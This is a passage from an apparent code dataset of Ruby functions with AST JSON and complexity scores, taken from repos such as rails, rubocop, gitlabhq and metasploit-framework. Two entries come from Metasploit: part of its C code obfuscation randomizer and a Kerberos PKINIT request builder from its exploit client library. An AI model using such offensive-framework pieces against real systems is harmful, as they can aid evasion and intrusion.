\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_name\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Obfuscation\"]},\"CRandomizer\"]},\"Utility\"]},\"rand_int\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"                if (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_name\"]}]},{\"type\":\"str\",\"children\":[\") {\\n\"]},{\"type\":\"str\",\"children\":[\"                  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_name\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Obfuscation\"]},\"CRandomizer\"]},\"Utility\"]},\"rand_int\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"                } else if (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_name\"]}]},{\"type\":\"str\",\"children\":[\" == \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Obfuscation\"]},\"CRandomizer\"]},\"Utility\"]},\"rand_int\"]}]},{\"type\":\"str\",\"children\":[\") {\\n\"]},{\"type\":\"str\",\"children\":[\"                  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_name\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Obfuscation\"]},\"CRandomizer\"]},\"Utility\"]},\"rand_int\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"                } else {\\n\"]},{\"type\":\"str\",\"children\":[\"                  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_name\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Obfuscation\"]},\"CRandomizer\"]},\"Utility\"]},\"rand_int\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"                }\\n\"]},{\"type\":\"str\",\"children\":[\"              }\"]}]}]}]}","id":"1c2e3514-fab6-44d7-91a3-cbc88bcc888d"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/client_test.rb","start_line":156,"raw_source":"def read_messages(expected_size = 0)\n      list = []\n      loop do\n        if @has_messages.try_acquire(1, list.size < expected_size ? WAIT_WHEN_EXPECTING_EVENT : WAIT_WHEN_NOT_EXPECTING_EVENT)\n          msg = @messages.pop(true)\n          raise msg if msg.is_a?(Exception)\n\n          list << msg\n        else\n          break\n        end\n      end\n      list\n    end","complexity_score":18.53,"ast_json":"{\"type\":\"def\",\"children\":[\"read_messages\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"expected_size\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@has_messages\"]},\"try_acquire\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"size\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"expected_size\"]}]},{\"type\":\"const\",\"children\":[null,\"WAIT_WHEN_EXPECTING_EVENT\"]},{\"type\":\"const\",\"children\":[null,\"WAIT_WHEN_NOT_EXPECTING_EVENT\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@messages\"]},\"pop\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"break\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"list\"]}]}]}","id":"aa1e8869-3215-4b57-b443-ad99eec422b5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb","start_line":203,"raw_source":"def build_pa_pk_as_req(pfx, dh, dh_nonce, request_body, opts)\n              certificate = pfx.certificate\n              now_time = Time.now.utc\n              now_ctime = now_time.round\n              ctime = opts.fetch(:ctime) { now_ctime }\n              cusec = opts.fetch(:cusec) { now_time&.usec || 0 }\n              nonce = opts.fetch(:nonce) { rand(1 << 31) }\n              data = request_body.encode\n              checksum = Digest::SHA1.digest(data)\n              pub_key_encoded = RASN1::Types::Integer.new(value: dh.pub_key.to_i).to_der\n              auth_pack = Rex::Proto::Kerberos::Model::Pkinit::AuthPack.new(\n                pk_authenticator: {\n                  cusec: cusec,\n                  ctime: ctime,\n                  nonce: nonce,\n                  pa_checksum: checksum\n                },\n                client_public_value: {\n                  algorithm: {\n                    algorithm: Rex::Proto::Kerberos::Model::OID::DiffieHellman, # Diffie-Hellman\n                    parameters: Rex::Proto::Kerberos::Model::Pkinit::DomainParameters.new(\n                      p: dh.p.to_i,\n                      g: dh.g.to_i,\n                      q: 0\n                    )\n                  },\n                  subject_public_key: pub_key_encoded\n                },\n                client_dh_nonce: RASN1::Types::OctetString.new(value: dh_nonce)\n              )\n\n\n              auth_pack[:client_public_value][:subject_public_key].bit_length = pub_key_encoded.length * 8\n\n\n              signed_auth_pack = sign_auth_pack(auth_pack, pfx.key, certificate)\n\n\n              pa_as_req = Rex::Proto::Kerberos::Model::PreAuthPkAsReq.new\n\n\n              pa_as_req.signed_auth_pack = signed_auth_pack\n\n\n              Rex::Proto::Kerberos::Model::PreAuthDataEntry.new(type: Rex::Proto::Kerberos::Model::PreAuthType::PA_PK_AS_REQ,\n                                                                  value: pa_as_req.to_der)\n            end","complexity_score":56.35,"ast_json":"{\"type\":\"def\",\"children\":[\"build_pa_pk_as_req\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pfx\"]},{\"type\":\"arg\",\"children\":[\"dh\"]},{\"type\":\"arg\",\"children\":[\"dh_nonce\"]},{\"type\":\"arg\",\"children\":[\"request_body\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"certificate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pfx\"]},\"certificate\"]}]},{\"type\":\"lvasgn\",\"children\":[\"now_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"lvasgn\",\"children\":[\"now_ctime\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now_time\"]},\"round\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ctime\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"ctime\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"now_ctime\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cusec\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"cusec\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now_time\"]},\"usec\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"nonce\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"nonce\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"<<\",{\"type\":\"int\",\"children\":[31]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_body\"]},\"encode\"]}]},{\"type\":\"lvasgn\",\"children\":[\"checksum\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"digest\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pub_key_encoded\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RASN1\"]},\"Types\"]},\"Integer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dh\"]},\"pub_key\"]},\"to_i\"]}]}]}]},\"to_der\"]}]},{\"type\":\"lvasgn\",\"children\":[\"auth_pack\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Pkinit\"]},\"AuthPack\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pk_authenticator\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cusec\"]},{\"type\":\"lvar\",\"children\":[\"cusec\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctime\"]},{\"type\":\"lvar\",\"children\":[\"ctime\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nonce\"]},{\"type\":\"lvar\",\"children\":[\"nonce\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pa_checksum\"]},{\"type\":\"lvar\",\"children\":[\"checksum\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_public_value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"OID\"]},\"DiffieHellman\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Pkinit\"]},\"DomainParameters\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"p\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dh\"]},\"p\"]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"g\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dh\"]},\"g\"]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"q\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject_public_key\"]},{\"type\":\"lvar\",\"children\":[\"pub_key_encoded\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_dh_nonce\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RASN1\"]},\"Types\"]},\"OctetString\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"dh_nonce\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_pack\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client_public_value\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject_public_key\"]}]},\"bit_length=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pub_key_encoded\"]},\"length\"]},\"*\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"signed_auth_pack\",{\"type\":\"send\",\"children\":[null,\"sign_auth_pack\",{\"type\":\"lvar\",\"children\":[\"auth_pack\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pfx\"]},\"key\"]},{\"type\":\"lvar\",\"children\":[\"certificate\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pa_as_req\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"PreAuthPkAsReq\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pa_as_req\"]},\"signed_auth_pack=\",{\"type\":\"lvar\",\"children\":[\"signed_auth_pack\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"PreAuthDataEntry\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"PreAuthType\"]},\"PA_PK_AS_REQ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pa_as_req\"]},\"to_der\"]}]}]}]}]}]}","id":"dec08d95-2945-4d39-8e3e-6a12c7904065"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cops_documentation_generator.rb","start_line":126,"raw_source":"def required_ruby_version(cop)\n    return '' unless cop.respond_to?(:required_minimum_ruby_version)\n\n    if cop.required_minimum_ruby_version\n      requirement = cop.required_minimum_ruby_version\n    elsif cop.required_maximum_ruby_version\n      requirement = \"<= #{cop.required_maximum_ruby_version}\"\n    else\n      return ''\n    end\n\n    \"NOTE: Requires Ruby version #{requirement}\\n\\n\"\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"required_ruby_version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cop\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"required_minimum_ruby_version\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"required_minimum_ruby_version\"]},{\"type\":\"lvasgn\",\"children\":[\"requirement\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"required_minimum_ruby_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"required_maximum_ruby_version\"]},{\"type\":\"lvasgn\",\"children\":[\"requirement\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<= \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"required_maximum_ruby_version\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"NOTE: Requires Ruby version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requirement\"]}]},{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]}]}]}","id":"cf45b907-ed88-485e-adf8-5e82a19a4b5a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/v2/report_builder.rb","start_line":25,"raw_source":"def build\n    if %w[avg_first_response_time avg_resolution_time reply_time].include?(params[:metric])\n      timeseries.each_with_object([]) do |p, arr|\n        arr << { value: p[1], timestamp: p[0].in_time_zone(@timezone).to_i, count: @grouped_values.count[p[0]] }\n      end\n    else\n      timeseries.each_with_object([]) do |p, arr|\n        arr << { value: p[1], timestamp: p[0].in_time_zone(@timezone).to_i }\n      end\n    end\n  end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"avg_first_response_time\"]},{\"type\":\"str\",\"children\":[\"avg_resolution_time\"]},{\"type\":\"str\",\"children\":[\"reply_time\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metric\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"timeseries\"]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]},{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"in_time_zone\",{\"type\":\"ivar\",\"children\":[\"@timezone\"]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@grouped_values\"]},\"count\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"timeseries\"]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]},{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"in_time_zone\",{\"type\":\"ivar\",\"children\":[\"@timezone\"]}]},\"to_i\"]}]}]}]}]}]}]}","id":"44440bba-a2b8-4144-8543-4ef69030a841"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/memoized_cache_proxy_test.rb","start_line":44,"raw_source":"def test_fetch_should_try_memcached_on_not_memoized_values\n    expected_kwargs = {}\n    fetcher.expects(:fetch).with(\"foo\", **expected_kwargs).returns(\"bar\")\n\n    IdentityCache.cache.with_memoization do\n      assert_equal(\"bar\", IdentityCache.cache.fetch(\"foo\"))\n    end\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_should_try_memcached_on_not_memoized_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_kwargs\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetcher\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"fetch\"]}]},\"with\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_kwargs\"]}]}]}]},\"returns\",{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"with_memoization\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]}]}","id":"27b89518-b5bb-415f-a18e-2473857588f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_config/worker_matcher.rb","start_line":28,"raw_source":"def initialize(query_string)\n        @match_lambda = query_string_to_lambda(query_string)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_string\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@match_lambda\",{\"type\":\"send\",\"children\":[null,\"query_string_to_lambda\",{\"type\":\"lvar\",\"children\":[\"query_string\"]}]}]}]}","id":"0bc19acf-d625-49ae-a257-c840f2c766e9"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/event_reporter/log_subscriber.rb","start_line":19,"raw_source":"def logger\n          @logger || default_logger\n        end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},{\"type\":\"send\",\"children\":[null,\"default_logger\"]}]}]}","id":"103b449d-3368-49b9-94a8-258371401d24"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/common/submenu.rb","start_line":105,"raw_source":"def expect_count(count)\n      expect(page).to have_test_selector(\"op-submenu--item-count\", text: count)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_test_selector\",{\"type\":\"str\",\"children\":[\"op-submenu--item-count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}]}]}","id":"44e93061-b771-4850-9cef-608bf3e2bd37"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/spec/models/cost_query/operator_spec.rb","start_line":58,"raw_source":"def create_project(options = {})\n    create(:project, options)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_project\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"a458ac12-8fd2-41c0-b95e-53d523aa1d1c"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/config/yaml_parser/parser.rb","start_line":107,"raw_source":"def included_sections_build(config, section_builder, indent: 0)\n          config.each_entry do |e|\n            k = e.keys.first\n            cc = e.delete(k)\n            case k\n            when 'label'\n              section_builder.add_section(label_build(cc, indent: indent))\n            when 'worker'\n              section_builder.add_section(worker_build(cc, indent: indent))\n            when 'source'\n              section_builder.add_section(source_build(cc, indent: indent))\n            when 'filter'\n              section_builder.add_section(filter_build(cc, indent: indent))\n            when 'match'\n              section_builder.add_section(match_build(cc, indent: indent))\n            end\n          end\n        end","complexity_score":30.9,"ast_json":"{\"type\":\"def\",\"children\":[\"included_sections_build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"arg\",\"children\":[\"section_builder\"]},{\"type\":\"kwoptarg\",\"children\":[\"indent\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"each_entry\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"k\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"keys\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section_builder\"]},\"add_section\",{\"type\":\"send\",\"children\":[null,\"label_build\",{\"type\":\"lvar\",\"children\":[\"cc\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\"